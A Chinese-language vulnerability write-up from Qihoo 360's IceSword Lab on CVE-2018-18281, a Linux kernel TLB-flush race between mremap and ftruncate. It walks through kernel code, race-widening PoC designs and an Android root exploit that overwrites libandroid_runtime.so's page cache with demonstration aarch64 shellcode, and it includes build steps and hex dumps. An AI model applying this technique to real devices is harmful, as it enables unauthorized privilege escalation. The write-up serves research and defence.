author: chengjia4574@gmail.com of IceSword Lab , Qihoo 360
最近, 业内发现了一批内存管理系统的漏洞, project 0 的 Jann Horn 放出了其中一个漏洞 CVE-2018-18281 的 writeup, CVE-2018-18281 是一个 linux kernel 的通用漏洞, 这个漏洞的模式比较罕见, 不同于常规的内存溢出类漏洞, 也不是常见的 UAF 漏洞, 它是由内存管理系统的底层逻辑错误导致的, 根本原因是 TLB 缓存没有及时刷新造成虚拟地址复用, 可以实现较为稳定的提权利用.
linux 内核通过 多级页表 实现虚拟内存机制, 为了提高访问速度, 一些映射信息会被缓存在 TLB 里, cpu 在访问一个虚拟地址的时候, 会先查找 TLB , 如果没有命中, 才去遍历主存里的多级页表, 并将查找到的映射关系填入 TLB
反过来, 如果某个映射关系要解除, 除了在主存里的相关表项要删除, 还需要对多个cpu core 同步执行 TLB 刷新, 使得在所有 TLB 缓存里该映射关系消除, 否则就会出现不一致.
上述关于 TLB 和内存映射的说明只是简化版本, 用于简单理解这个漏洞的原因, 真正的实现不同操作系统, 不同体系架构, 都不一样. 可以查阅芯片手册, 如 TLBs, Paging-Structure Caches, and Their Invalidation 和一些分析, 如 Reverse Engineering Hardware Page Table Caches
先看两个系统调用
这两个系统调用表面上看八竿子打不着, 但在 linux 内核的实现里, 他们的调用链条会出现一个竞态条件异常
1) sys_mremap() -> mremap_to()->move_vma()->move_page_tables().
move_page_tables() first calls move_ptes() in a loop,
then performs a TLB flush with flush_tlb_range().
2) sys_ftruncate()->do_sys_ftruncate()->do_truncate()->notify_change()
->shmem_setattr()->unmap_mapping_range()->unmap_mapping_range_tree()
->unmap_mapping_range_vma() ->zap_page_range_single()->unmap_single_vma()
->unmap_page_range()->zap_pud_range()->zap_pmd_range()->zap_pte_range()
can concurrently access the page tables of a process that is in move_page_tables(),
between the move_ptes() loop and the TLB flush.
mremap 底层实现主要是 move_ptes 函数
89 static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
90 unsigned long old_addr, unsigned long old_end,
91 struct vm_area_struct *new_vma, pmd_t *new_pmd,
92 unsigned long new_addr, bool need_rmap_locks)
93 {
94 struct address_space *mapping = NULL;
95 struct anon_vma *anon_vma = NULL;
96 struct mm_struct *mm = vma->vm_mm;
97 pte_t *old_pte, *new_pte, pte;
98 spinlock_t *old_ptl, *new_ptl;
======================== skip ======================
133 old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);
134 new_pte = pte_offset_map(new_pmd, new_addr);
135 new_ptl = pte_lockptr(mm, new_pmd);
136 if (new_ptl != old_ptl)
137 spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
138 arch_enter_lazy_mmu_mode();
139
140 for (; old_addr
142 if (pte_none(*old_pte))
143 continue;
144 pte = ptep_get_and_clear(mm, old_addr, old_pte);
145 pte = move_pte(pte, new_vma->vm_page_prot, old_addr, new_addr);
146 pte = move_soft_dirty_pte(pte);
147 set_pte_at(mm, new_addr, new_pte, pte);
148 }
149
150 arch_leave_lazy_mmu_mode();
151 if (new_ptl != old_ptl)
152 spin_unlock(new_ptl);
153 pte_unmap(new_pte - 1);
154 pte_unmap_unlock(old_pte - 1, old_ptl);
155 if (anon_vma)
156 anon_vma_unlock_write(anon_vma);
157 if (mapping)
158 i_mmap_unlock_write(mapping);
159 }
结合上面代码, 有两点需要注意
简单而言, move_ptes 将旧的 pmd 页的值 ( ptes ) 拷贝到了新的 pmd 页, 这就是 mremap 函数在底层的实现, 它并不需要删除旧地址对应的 pages, 只需要将旧地址关联到的 ptes 拷贝到新地址关联的页表, 这种拷贝是按照 pmd 为单位进行的, 每处理完一个 pmd, 对应的 pmd lock 就会释放.
ftruncate 函数将文件大小变为指定的大小, 如果新的值比旧的值小, 则需要将文件在内存的虚存空间变小, 这需要调用到 zap_pte_range 函数
1107 static unsigned long zap_pte_range(struct mmu_gather *tlb,
1108 struct vm_area_struct *vma, pmd_t *pmd,
1109 unsigned long addr, unsigned long end,
1110 struct zap_details *details)
1111 {
1112 struct mm_struct *mm = tlb->mm;
1113 int force_flush = 0;
1114 int rss[NR_MM_COUNTERS];
1115 spinlock_t *ptl;
1116 pte_t *start_pte;
1117 pte_t *pte;
1118 swp_entry_t entry;
1119
1120 again:
1121 init_rss_vec(rss);
1122 start_pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
1123 pte = start_pte;
1124 flush_tlb_batched_pending(mm);
1125 arch_enter_lazy_mmu_mode();
1126 do {
1127 pte_t ptent = *pte;
========================== skip ==========================
1146 ptent = ptep_get_and_clear_full(mm, addr, pte,
1147 tlb->fullmm);
1148 tlb_remove_tlb_entry(tlb, pte, addr);
========================== skip ==========================
1176 entry = pte_to_swp_entry(ptent);
========================== skip ==========================
1185 if (unlikely(!free_swap_and_cache(entry)))
1186 print_bad_pte(vma, addr, ptent, NULL);
1187 pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);
1188 } while (pte++, addr += PAGE_SIZE, addr != end);
1189
1190 add_mm_rss_vec(mm, rss);
1191 arch_leave_lazy_mmu_mode();
1192
1193 /* Do the actual TLB flush before dropping ptl */
1194 if (force_flush)
1195 tlb_flush_mmu_tlbonly(tlb);
1196 pte_unmap_unlock(start_pte, ptl);
========================== skip ==========================
1212 return addr;
1213 }
结合上面代码, 有三点需要注意,
将上述两个函数的流程放到一起分析, 假设下面这种情况:
假设一个进程有 A,B,C 三个线程:
说明:
实际上 X 和 Y 是两块内存区域, 也就是说可能比一个 pmd 所容纳的地址范围大,
不管是 mremap 还是 ftruncate, 底层实现会将 X 和 Y 按照 pmd 为单位循环执行上表的操作,
即上表所说的 X 页表实际指的是 X 内存区域里的某个 pmd, 这里是为了表达方便简化处理,
下面的描述也是一样.
这里存在的竞态条件是当 4.3 已经执行完毕 (3.1.3 释放 Y 锁 4.1 就可以执行), 地址 Y 的内存已经释放, 物理页面已经返回给 伙伴系统 , 并再一次分配给新的虚拟内存, 而此时 3.2 还没有执行, 这种情况下, 虽然 X 的映射关系在页表里已经被清空, 但在 TLB 缓存里没有被清空, 线程 C 依然可以访问 X 的内存, 造成地址复用
注意:
除了可以用 ftruncate 函数来跟 mremap 竞争, 还有一个 linux 系统特有的
系统函数 fallocate 也可以起到同样的效果, 原因很简单,
fallocate 和 ftruncate 的底层调用链是一样的
sys_fallocate()->shmem_fallocate()->shmem_truncate_range()
->shmem_undo_range()->truncate_inode_page()->unmap_mapping_range
v4.9 之前的内核都是上述列表显示的代码逻辑
v4.9 之后的内核, move_ptes 的逻辑与上述有些许不同
注意:
在 versions > 4.9 的 linux 内核, Dirty 标记的页面会在 move_ptes 函数内部刷新 TLB ,
而不是等到 3.2 由 flush_tlb_range 函数去刷新, 因此, race 发生之后,
线程 C 能通过 X 访问到的内存都是之前 non-Dirty 的页面, 即被写过的页面都无法复用.
这点改变会对 poc 和 exploit 造成什么影响? 留给大家思考.
根据上述分析, 一个简单的 poc 思路就出来了, 通过不断检测线程 C 从地址 X 读取的内容是不是初始内容就可以判断 race 是否被触发, 正常情况下, C 读取 X 只会有两种结果, 一种是 mremap 彻底完成, 即 3.2 执行完毕, 此时地址 X 为无效地址, C 的读操作引发进程奔溃退出, 第二种是 mremap 还未完成, C 读取的地址返回的是 X 的初始内容, 只有这两种情况才符合 mremap 函数的定义. 但是由于漏洞的存在, 实际运行会存在第三种情况, 即 C 读取 X 不会奔溃(3.2 还没执行, 地址映射还有效), 但内容变了( 4.3 执行完毕, 物理页面已经被其他地方复用)
这份 poc 可以清晰看出 race 是怎么发生的, 需要注意, 这份 poc 必须配合内核补丁才能稳定触发 race , 否则命中率非常低, 补丁通过在 move_page_tables 函数调用 flush_tlb_range 之前(即 3.2 之前)增加一个大循环来增大 race 条件的时间窗口以提高命中率
上述 poc 的运行结果是, 大部分情况下 poc 奔溃退出, 少数情况下读取 X 会返回一个被其他地方复用的页面
这离稳定提权还有很远的距离, 为了得到稳定利用, 至少有两个问题需要解决:
要提高本漏洞 race 的命中率, 就是要增大 move_ptes 函数和 flush_tlb_range 函数之间的时间间隔
怎么才能增加这俩函数执行的时间间隔呢?
这里要引入linux内核的 进程抢占 概念, 如果目标内核是可抢占的 (CONFIG_PREEMPT=y) , 则如果能让进程在执行 flush_tlb_range 函数之前被抢占, 那么 race 的时间窗口就够大了, 用户空间的普通程序能不能影响某个进程的调度策略呢? 答案是肯定的.
有两个系统函数可以影响进程的调度
使用这两个函数将 poc 修改为下面的方案,
新建 A,B,C,D 四个线程:
注意:
mremap 执行 move_ptes 函数会引发内存状态变化, 这种变化可以通过
用户态文件 /proc/pid/status 文件获取, 这就是线程 D 的作用
此时, 通过监控线程 D 唤醒 C, 由于A 和 C 绑定在同一个核心 c1, 且 A 的调度策略被设置
为最低优先级 SCHED_IDLE, C 的唤醒将抢占 A 的执行, 如此一来, 3.2 的执行就可能被延迟.
C 被唤醒后立即执行 ftruncate 释放 Y 的内存触发漏洞.
通过上述方案可以理论上让线程 A 在执行 3.1 后, 执行 3.2 前被挂起,
从而扩大 3.1 和 3.2 的时间间隔
这个 poc 是根据上述思路写的
实测发现上述 poc 触发率还是低, 借鉴 Jann Horn 的思路, 继续如下修改 poc
改进版方案: 新建 A,B,C,D,E 五个线程:
改进的地方有两点, 1 是增加一个 E 线程绑定到核 c4 并执行死循环, 2 是线程 C 被唤醒后立刻重绑定线程 A 到核 c4, 即让 A 和 E 在同一个核上
这个改变会提高 race 触发的命中率, 个人判断原因是由于当 C 的管道返回后手动执行重绑定操作会比执行其他操作更容易导致 A 立即被挂起
改进版 poc 代码 是根据上述思路写的
利用这个 poc, 我们可以将这个漏洞的 race 命中率提升到可以接受的程度.
现在我们可以在比较短的时间内稳定触发漏洞, 得到一片已经被释放的物理页面的使用权,
而且可读可写, 怎么利用这一点来提权?
这里需要了解物理内存的分配和释放细节, 物理内存管理属于伙伴系统, 参考 内存管理
物理页面的管理是分层的:
__alloc_pages_nodemask 函数是 zoned buddy allocator 的分配入口, 它有快慢两条路径:
从漏洞利用的角度, 我们希望将漏洞释放的物理页面尽可能快的被重新分配回来, 所以, 用来触发漏洞释放物理页面的场景和重新申请物理页面用来利用的场景, 这两种场景的 zone, migratetype 最好一致, 而且这两个场景的触发最好在同一个 cpu core 上.
比如, 触发漏洞时, 通过用户空间 mmap 一片地址, 然后访问这片地址触发物理内存分配, 这种分配大概率是从 ZONE_NORMAL 而来, 而且页面大概率是 MIGRATE_MOVABLE 的, 然后用 ftruncate 释放, 这些页面很可能会挂在当前 cpu 的 freelist 上. 所以, 漏洞利用的时候如果是在其他 cpu core 触发申请物理页面, 则可能申请不到目标页面, 或者, 触发申请物理页面的场景如果是某种 dma 设备, 那么也大概率命中不到目标页面.
根据上述物理内存管理的分析, 选择使用文件的 page cache 用于重新申请目标物理页面, 在此基础上, 想办法实现提权
linux 上硬盘文件的内容在内核用 page cache 来维护, 如果漏洞触发后释放的页面被用于某个文件的 page cache, 则我们拥有了读写该文件的能力, 如果这个文件恰好是用户态的重要动态库文件, 正常情况下普通进程无法改写这种文件, 但通过漏洞普通进程可以改写它, 这样就可以通过修改动态库文件的代码段来提权.
上述利用思路的关键有3点:
这个动态库必须是能被高权限进程所使用
目标位置最好是页面对齐的, 这样目标位置可以以页面为单位加载进内存, 或者以页面为单位置换到硬盘
目标位置被调用的时机不能太频繁, 要不然修改操作会影响系统稳定性, 而且调用时机必须可以由普通进程触发
下面是一个符合上述条件的动态库和函数:
漏洞触发 race 后, 让释放的物理页面刚好被用于目标页面( libandroid_runtime.so 文件的 offset = 0x157000 这个页面), 再可以通过 UAF 地址注入 shellcode 到目标位置, 从而改写 com_android_internal_os_Zygote_nativeForkAndSpecialize 函数的代码逻辑, 最后发消息触发 zygote 去执行 shellcode
这节解决的问题是, 怎么控制 race 释放的页面刚好能被目标页面使用
这篇论文 的 section VIII-B 介绍了一种算法用于精确控制一个 file page cache 的加载
这会导致内核申请大量 page cache 来装载文件 a,
从而迫使其他文件的 page cache 被置换到硬盘
这会导致目标文件除目标页面 X 之外其他页面被重新装载回内存
通过上述算法, 可以让一个目标文件的目标页面 X 被置换到硬盘, 而该文件其他页面保留在内存里, 这样在漏洞触发之后, 再来访问目标页面, 则很大机会会分配刚刚释放的物理页面给目标页面
注意:
mincore 函数可以用来判断一个区域内的内存是在物理内存中或被交换出磁盘
上述算法在 linux 的实现依赖于 mincore
我改了一份exploit 代码 在这里, 主要包含下面几个文件:
这是编译脚本
1) aarch64-linux-gnu-as arm_shellcode.s -o arm_shellcode.o
2) aarch64-linux-gnu-ld arm_shellcode.o -o arm_shellcode
3) aarch64-linux-gnu-objcopy --dump-section .text=arm_shellcode.bin arm_shellcode
4) xxd -i arm_shellcode.bin > arm_shellcode.h
5) make
1~3 是将汇编文件 arm_shellcode.s 编译成二进制并将可执行文件的代码段 (.text) 提取到文件 arm_shellcode.bin
4 使用 linux 的 xxd 工具将 arm_shellcode.bin 放进一个 c 语言分格的数组,后续在 c 代码里以数组变量的形式操作它
5 根据 Android.mk 编译可执行文件
下面简单看一下 shellcode.s 汇编,不感兴趣可以略过
// open file
_start:
mov x0, #-100
adrp x1, _start
// NOTE: We are changing the page-relative alignment of the shellcode, so normal
// aarch64 RIP-relative addressing doesn't work.
add x1, x1, attr_path-file_start
mov x2, #0
mov x8, #0x38
svc #0
attr_path:
.ascii "/proc/self/attr/current"
第一段汇编作用是 open 文件 “/proc/self/attr/current”, #0x38 是系统调用号,对应系统调用 __NR_openat (系统调用号定义: include/uapi/asm-generic/unistd.h), 将 0x38 放入 x8 寄存器,svc #0 指令触发软中断,进入内核系统调用, 根据 openat 函数的定义, x1 寄存器存放要打开的文件路径的地址, x0 和 x2 这里忽略.
这段汇编执行后,x0寄存器存放返回值,即打开文件的 fd
// read from file
sub sp, sp, #128
mov x1, sp
mov x2, #128
mov x8, #0x3f
svc #0
第二段汇编执行 read 系统调用,读取 128 字节放入栈, #0x3f 对应系统调用 read, x0 存放要读取文件的 fd, x1 是栈顶指针 sp, 在此之前,sp 被移动了#128 字节,相当于一个 128 字节的栈数组作为 buf传给 read 函数第二个参数, x2 是要读取的长度, 这里是 128
这段汇编执行后, sp 指向的位置存放文件 ‘/proc/self/attr/current’ 的内容
// shove file contents into hostname
mov x1, x0
mov x0, sp
mov x8, #0xa1
svc #0
第三段汇编执行 sethostname 系统调用, #0xa1 对应系统调用 sethostname, x0 即要更新的域名字符串, 这里放入 sp 指针, 即将上一步 read 函数读取的 buf 值作为 sethostname 的参数 name, x1 是长度, 这里值是上一步read 的返回值
这段汇编执行后, hostname 将被更新为文件 ‘/proc/self/attr/current’ 的内容
这个文件的作用是不断调用 exp 可执行文件并监控 exploit 是否成功, 之所以需要这个主调程序是由于这个漏洞在触发的时候, 大部分情况会引发程序奔溃, 这时候需要一个看门狗程序不断重启它
这个文件实现了 exploit 的主体功能
kickout_victim_page 函数实现了 如何提高文件 page cache 命中率 的算法, 最开始执行
idle_worker 线程用于触发 mremap 调用, 先绑定到 c1, spinner 唤醒后重绑定 idle_worker 到 c3, 调度策略为 SCHED_IDLE , 其他线程都是普通调度策略
spinner 线程用于触发 fallocate (跟 ftruncate 效果类似) 调用, 绑定到 c2
nicer_spinner 线程绑定到 c3, 用于抢占 idle_worker 的 cpu 使用权
read_worker 线程绑定到 c4, 用于监控目标内存, 一旦发现 race 成功触发, 则注入 shellcode 到目标内存
segv_handler 函数是段错误处理函数, 这里会再一次检测 shellcode 是否已经成功注入到目标文件, 如果是, 则通知 watchdog 停止重启 exp
执行 exploit 之前, libandroid_runtime.so 如下
adb pull /system/lib64/libandroid_runtime.so
root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0871 0091 5f00 08eb c000 0054 e087 41a9 .q.._......T..A.
00157010: e303 1f32 0800 40f9 0801 43f9 0001 3fd6 ...2..@...C...?.
00157020: 2817 40f9 a983 5af8 1f01 09eb e110 0054 (.@...Z........T
00157030: ff03 1191 fd7b 45a9 f44f 44a9 f657 43a9 .....{E..OD..WC.
00157040: f85f 42a9 fa67 41a9 fc6f c6a8 c003 5fd6 ._B..gA..o...._.
00157050: f801 00b0 d901 00b0 ba01 00f0 7b02 00f0 ............{...
00157060: 9c01 0090
执行 exploit 之后, libandroid_runtime.so 如下
adb pull /system/lib64/libandroid_runtime.so
root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0000 20d4 0000 20d4 600c 8092 0100 0090 .. ... .`.......
00157010: 2120 0191 0200 80d2 0807 80d2 0100 00d4 ! ..............
00157020: ff03 02d1 e103 0091 0210 80d2 e807 80d2 ................
00157030: 0100 00d4 e103 00aa e003 0091 2814 80d2 ............(...
00157040: 0100 00d4 0000 0014 2f70 726f 632f 7365 ......../proc/se
00157050: 6c66 2f61 7474 722f 6375 7272 656e 7400 lf/attr/current.
00157060: eaff ff17 ....